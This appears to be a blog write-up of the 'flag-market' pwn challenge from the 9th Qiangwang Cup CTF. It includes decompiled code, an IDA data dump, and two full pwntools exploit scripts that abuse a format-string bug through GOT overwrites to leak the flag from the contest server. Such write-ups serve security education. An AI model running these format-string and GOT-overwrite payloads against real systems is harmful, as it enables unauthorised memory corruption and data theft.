落日歸山海,與你話清風。
1841 words
9 minutes
Write-ups: 第九届「强网杯」全国网络安全挑战赛

flag-market
Information
- Category: Pwn
- Points: 500
Description
flag 市场,童叟无欺
Write-up
第一次打国赛,没想到能遇上一道我能做的题……呜呜呜太感动了(
逆向出来的代码就这么点:
__int64 __fastcall main(__int64 a1, char **a2, char **a3){ int i; // [rsp+Ch] [rbp-84h] int fd_log; // [rsp+14h] [rbp-7Ch] FILE *flag_stream; // [rsp+18h] [rbp-78h] char flag_filepath[9]; // [rsp+27h] [rbp-69h] BYREF char buf[16]; // [rsp+30h] [rbp-60h] BYREF char flag_buf[72]; // [rsp+40h] [rbp-50h] BYREF unsigned __int64 v10; // [rsp+88h] [rbp-8h]
v10 = __readfsqword(0x28u); init(); strcpy(flag_filepath, "/flag"); flag_stream = fopen(flag_filepath, "r"); is_flag_open = 1; while ( 1 ) { while ( 1 ) { puts("welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit"); memset(buf, 0, sizeof(buf)); read(0, buf, 0x10u); if ( atoi(buf) != 1 ) exit(0); puts("how much you want to pay?"); memset(buf, 0, sizeof(buf)); read(0, buf, 0x10u); if ( atoi(buf) == 0xFF ) break; printf("You are so parsimonious!!!"); if ( is_flag_open ) { fclose(flag_stream); is_flag_open = 0; } } puts(aThankYouForPay); // "Thank you for paying,let me give you flag: " if ( !is_flag_open || !fgets(flag_buf, 64, flag_stream) ) break; for ( i = 0; ; ++i ) { if ( i > 64 ) { puts("\nThank you for your patronage!"); return 0; } if ( flag_buf[i] == '{' ) break; putchar(flag_buf[i]); sleep(1u); } memset(flag_buf, 0, 0x40u); puts(a1m31mError0mSo); // "\n\x1B[1m\x1B[31m==========error!!!========== \x1B[0m \nSorry, but maybe something wrong... \nyou can report it in user.log" puts("opened user.log, please report:"); memset( log_file_open_flags_input, // "everything is ok~" 0, 0x100u); __isoc99_scanf("%s", log_file_open_flags_input);// "everything is ok~" getchar(); fd_log = open("user.log", log_file_open_flags_input);// "everything is ok~" write( fd_log, log_file_open_flags_input, // "everything is ok~" 0x100u); puts(aOkNowYouCanExi); // "OK,now you can exit or try again." } puts("something is wrong"); return 0;}
初看不难发现,scanf
的 %s
是一个很明显的无限长度输入,后面的 open / write
则似乎是障眼法,因为无论哪个成立了都会导致另一个失败,并且调试发现 scanf 内部会破坏 RSI,所以 open 永远不会成功,且由于程序没有对它们的返回值做检查,所以会忽略错误继续执行,而不是 abort 。那难道就没有什么别的办法了吗?题目既然可以出出来,就一定能做……
其实细看的话可以发现,上面有个 printf
存在一个不怎么显眼的格式化字符串漏洞。由于 scanf 可以向 log_file_open_flags_input
写入无限长度数据覆盖 format
为自定义格式化字符串,因此当我们输入的金额不等于 0xff
的时候就可以触发格式化字符串漏洞了。
至于如何实现无限次格式化字符串,我这里是改了 exit
的 got entry 为 main 函数地址。
.data:00000000004040A0 ; ===========================================================================.data:00000000004040A0.data:00000000004040A0 ; Segment type: Pure data.data:00000000004040A0 ; Segment permissions: Read/Write.data:00000000004040A0 _data segment align_32 public 'DATA' use64.data:00000000004040A0 assume cs:_data.data:00000000004040A0 ;org 4040A0h.data:00000000004040A0 align 40h.data:00000000004040C0 ; int log_file_open_flags_input.data:00000000004040C0 log_file_open_flags_input db 'everything is ok~',0.data:00000000004040C0 ; DATA XREF: main+245↑o.data:00000000004040C0 ; main+254↑o ...237 collapsed lines
.data:00000000004040D2 db 0.data:00000000004040D3 db 0.data:00000000004040D4 db 0.data:00000000004040D5 db 0.data:00000000004040D6 db 0.data:00000000004040D7 db 0.data:00000000004040D8 db 0.data:00000000004040D9 db 0.data:00000000004040DA db 0.data:00000000004040DB db 0.data:00000000004040DC db 0.data:00000000004040DD db 0.data:00000000004040DE db 0.data:00000000004040DF db 0.data:00000000004040E0 db 0.data:00000000004040E1 db 0.data:00000000004040E2 db 0.data:00000000004040E3 db 0.data:00000000004040E4 db 0.data:00000000004040E5 db 0.data:00000000004040E6 db 0.data:00000000004040E7 db 0.data:00000000004040E8 db 0.data:00000000004040E9 db 0.data:00000000004040EA db 0.data:00000000004040EB db 0.data:00000000004040EC db 0.data:00000000004040ED db 0.data:00000000004040EE db 0.data:00000000004040EF db 0.data:00000000004040F0 db 0.data:00000000004040F1 db 0.data:00000000004040F2 db 0.data:00000000004040F3 db 0.data:00000000004040F4 db 0.data:00000000004040F5 db 0.data:00000000004040F6 db 0.data:00000000004040F7 db 0.data:00000000004040F8 db 0.data:00000000004040F9 db 0.data:00000000004040FA db 0.data:00000000004040FB db 0.data:00000000004040FC db 0.data:00000000004040FD db 0.data:00000000004040FE db 0.data:00000000004040FF db 0.data:0000000000404100 db 0.data:0000000000404101 db 0.data:0000000000404102 db 0.data:0000000000404103 db 0.data:0000000000404104 db 0.data:0000000000404105 db 0.data:0000000000404106 db 0.data:0000000000404107 db 0.data:0000000000404108 db 0.data:0000000000404109 db 0.data:000000000040410A db 0.data:000000000040410B db 0.data:000000000040410C db 0.data:000000000040410D db 0.data:000000000040410E db 0.data:000000000040410F db 0.data:0000000000404110 db 0.data:0000000000404111 db 0.data:0000000000404112 db 0.data:0000000000404113 db 0.data:0000000000404114 db 0.data:0000000000404115 db 0.data:0000000000404116 db 0.data:0000000000404117 db 0.data:0000000000404118 db 0.data:0000000000404119 db 0.data:000000000040411A db 0.data:000000000040411B db 0.data:000000000040411C db 0.data:000000000040411D db 0.data:000000000040411E db 0.data:000000000040411F db 0.data:0000000000404120 db 0.data:0000000000404121 db 0.data:0000000000404122 db 0.data:0000000000404123 db 0.data:0000000000404124 db 0.data:0000000000404125 db 0.data:0000000000404126 db 0.data:0000000000404127 db 0.data:0000000000404128 db 0.data:0000000000404129 db 0.data:000000000040412A db 0.data:000000000040412B db 0.data:000000000040412C db 0.data:000000000040412D db 0.data:000000000040412E db 0.data:000000000040412F db 0.data:0000000000404130 db 0.data:0000000000404131 db 0.data:0000000000404132 db 0.data:0000000000404133 db 0.data:0000000000404134 db 0.data:0000000000404135 db 0.data:0000000000404136 db 0.data:0000000000404137 db 0.data:0000000000404138 db 0.data:0000000000404139 db 0.data:000000000040413A db 0.data:000000000040413B db 0.data:000000000040413C db 0.data:000000000040413D db 0.data:000000000040413E db 0.data:000000000040413F db 0.data:0000000000404140 db 0.data:0000000000404141 db 0.data:0000000000404142 db 0.data:0000000000404143 db 0.data:0000000000404144 db 0.data:0000000000404145 db 0.data:0000000000404146 db 0.data:0000000000404147 db 0.data:0000000000404148 db 0.data:0000000000404149 db 0.data:000000000040414A db 0.data:000000000040414B db 0.data:000000000040414C db 0.data:000000000040414D db 0.data:000000000040414E db 0.data:000000000040414F db 0.data:0000000000404150 db 0.data:0000000000404151 db 0.data:0000000000404152 db 0.data:0000000000404153 db 0.data:0000000000404154 db 0.data:0000000000404155 db 0.data:0000000000404156 db 0.data:0000000000404157 db 0.data:0000000000404158 db 0.data:0000000000404159 db 0.data:000000000040415A db 0.data:000000000040415B db 0.data:000000000040415C db 0.data:000000000040415D db 0.data:000000000040415E db 0.data:000000000040415F db 0.data:0000000000404160 db 0.data:0000000000404161 db 0.data:0000000000404162 db 0.data:0000000000404163 db 0.data:0000000000404164 db 0.data:0000000000404165 db 0.data:0000000000404166 db 0.data:0000000000404167 db 0.data:0000000000404168 db 0.data:0000000000404169 db 0.data:000000000040416A db 0.data:000000000040416B db 0.data:000000000040416C db 0.data:000000000040416D db 0.data:000000000040416E db 0.data:000000000040416F db 0.data:0000000000404170 db 0.data:0000000000404171 db 0.data:0000000000404172 db 0.data:0000000000404173 db 0.data:0000000000404174 db 0.data:0000000000404175 db 0.data:0000000000404176 db 0.data:0000000000404177 db 0.data:0000000000404178 db 0.data:0000000000404179 db 0.data:000000000040417A db 0.data:000000000040417B db 0.data:000000000040417C db 0.data:000000000040417D db 0.data:000000000040417E db 0.data:000000000040417F db 0.data:0000000000404180 db 0.data:0000000000404181 db 0.data:0000000000404182 db 0.data:0000000000404183 db 0.data:0000000000404184 db 0.data:0000000000404185 db 0.data:0000000000404186 db 0.data:0000000000404187 db 0.data:0000000000404188 db 0.data:0000000000404189 db 0.data:000000000040418A db 0.data:000000000040418B db 0.data:000000000040418C db 0.data:000000000040418D db 0.data:000000000040418E db 0.data:000000000040418F db 0.data:0000000000404190 db 0.data:0000000000404191 db 0.data:0000000000404192 db 0.data:0000000000404193 db 0.data:0000000000404194 db 0.data:0000000000404195 db 0.data:0000000000404196 db 0.data:0000000000404197 db 0.data:0000000000404198 db 0.data:0000000000404199 db 0.data:000000000040419A db 0.data:000000000040419B db 0.data:000000000040419C db 0.data:000000000040419D db 0.data:000000000040419E db 0.data:000000000040419F db 0.data:00000000004041A0 db 0.data:00000000004041A1 db 0.data:00000000004041A2 db 0.data:00000000004041A3 db 0.data:00000000004041A4 db 0.data:00000000004041A5 db 0.data:00000000004041A6 db 0.data:00000000004041A7 db 0.data:00000000004041A8 db 0.data:00000000004041A9 db 0.data:00000000004041AA db 0.data:00000000004041AB db 0.data:00000000004041AC db 0.data:00000000004041AD db 0.data:00000000004041AE db 0.data:00000000004041AF db 0.data:00000000004041B0 db 0.data:00000000004041B1 db 0.data:00000000004041B2 db 0.data:00000000004041B3 db 0.data:00000000004041B4 db 0.data:00000000004041B5 db 0.data:00000000004041B6 db 0.data:00000000004041B7 db 0.data:00000000004041B8 db 0.data:00000000004041B9 db 0.data:00000000004041BA db 0.data:00000000004041BB db 0.data:00000000004041BC db 0.data:00000000004041BD db 0.data:00000000004041BE db 0.data:00000000004041BF db 0.data:00000000004041C0 ; char format[].data:00000000004041C0 format db 'You are so parsimonious!!!',0.data:00000000004041C0 ; DATA XREF: main+112↑o.data:00000000004041DB align 20h.data:00000000004041E0 ; char aThankYouForPay[].data:00000000004041E0 aThankYouForPay db 'Thank you for paying,let me give you flag: ',0.data:00000000004041E0 ; DATA XREF: main:loc_4014EA↑o.data:000000000040420C align 20h.data:0000000000404220 ; char a1m31mError0mSo[].data:0000000000404220 a1m31mError0mSo db 0Ah ; DATA XREF: main+21D↑o.data:0000000000404221 db 1Bh,'[1m',1Bh,'[31m==========error!!!========== ',1Bh,'[0m ',0Ah.data:000000000040424D db 'Sorry, but maybe something wrong... ',0Ah.data:0000000000404272 db 'you can report it in user.log',0.data:0000000000404290 align 20h.data:00000000004042A0 ; char aOkNowYouCanExi[].data:00000000004042A0 aOkNowYouCanExi db 'OK,now you can exit or try again.',0.data:00000000004042A0 ; DATA XREF: main+2A7↑o.data:00000000004042A0 _data ends.data:00000000004042A0
下面我写了两个 exp,第一个的思路是改 memset
为 ret
让它不要清空 flag,然后用 %p
输出,但是发现只有本地能通,远程不知道为啥不行,然后换了一种打法,fopen
会返回一个 FILE
结构体,之后 fgets
会在里面放一些地址,这其中就有 flag 的 stream buf 起始地址,我们把 fopen 返回的地址泄漏,算一下它和 flag stream buf 的偏移,发现此值固定,得到 flag 地址后写到栈上,用 %s
输出就好了。
Exploit I
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "./patched"HOST, PORT = "8.147.135.220", 24630
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def lehex_to_ascii(s: str) -> str: parts = s.strip().split("-") out = bytearray() for p in parts: p = p.strip() if not p: continue h = p[2:] if p.startswith(("0x", "0X")) else p h = h.strip() if len(h) % 2: # pad odd-length hex h = "0" + h out += bytes.fromhex(h)[::-1] return out.rstrip(b"\x00").decode("ascii", errors="replace")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
target.sendlineafter(b"2.exit", b"1") target.sendlineafter(b"pay?\x0a", b"255")
payload = flat( b"A" * 0x100, b"%5019c%12$hn", ) target.sendlineafter(b"report:", payload)
target.sendlineafter(b"2.exit", b"1") # raw_input("DEBUG") target.sendlineafter(b"pay?\x0a", flat(elf.got["exit"]))
# raw_input("DEBUG") target.sendlineafter(b"2.exit", b"2")
target.sendlineafter(b"2.exit", b"1") target.sendlineafter(b"pay?\x0a", b"255")
payload = flat( b"A" * 0x100, b"%173c%12$hhn", ) target.sendlineafter(b"report:", payload)
target.sendlineafter(b"2.exit", b"1") # raw_input("DEBUG") target.sendlineafter(b"pay?\x0a", flat(elf.got["memset"]))
# raw_input("DEBUG") target.sendlineafter(b"2.exit", b"2") target.sendlineafter(b"2.exit", b"1") target.sendlineafter(b"pay?\x0a", b"255")
payload = flat( b"A" * 0x100, b"%14$p-%15$p-%16$p-%17$p-%18$p-%19$p", ) target.sendlineafter(b"report:", payload) target.sendlineafter(b"2.exit", b"1") target.sendlineafter(b"pay?\x0a", b"0")
flag = target.recvuntil(b"welcome")[:-7] target.success(lehex_to_ascii(flag.decode()))
target.interactive()
if __name__ == "__main__": main()
Exploit II
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "./patched"HOST, PORT = "8.147.135.220", 24630
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
target.sendlineafter(b"2.exit", b"1") target.sendlineafter(b"pay?\x0a", b"255")
payload = flat( b"A" * 0x100, b"%9$p%5009c%12$hn", ) target.sendlineafter(b"report:", payload)
target.sendlineafter(b"2.exit", b"1") # raw_input("DEBUG") target.sendlineafter(b"pay?\x0a", flat(elf.got["exit"]))
flag = int(target.recv(0xA), 16) + 0x1E0 target.success(f"flag: {hex(flag)}")
# raw_input("DEBUG") target.sendlineafter(b"2.exit", b"2")
raw_input("DEBUG") target.sendlineafter(b"2.exit", b"1") target.sendlineafter(b"pay?\x0a", b"255")
payload = flat( b"A" * 0x100, b"%12$s", ) target.sendlineafter(b"report:", payload) target.sendlineafter(b"exit", b"1") target.sendlineafter(b"pay?\x0a", flat(flag))
target.interactive()
if __name__ == "__main__": main()
Flag
flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}
Write-ups: 第九届「强网杯」全国网络安全挑战赛
https://cubeyond.net/posts/write-ups/2025-强网杯-s9/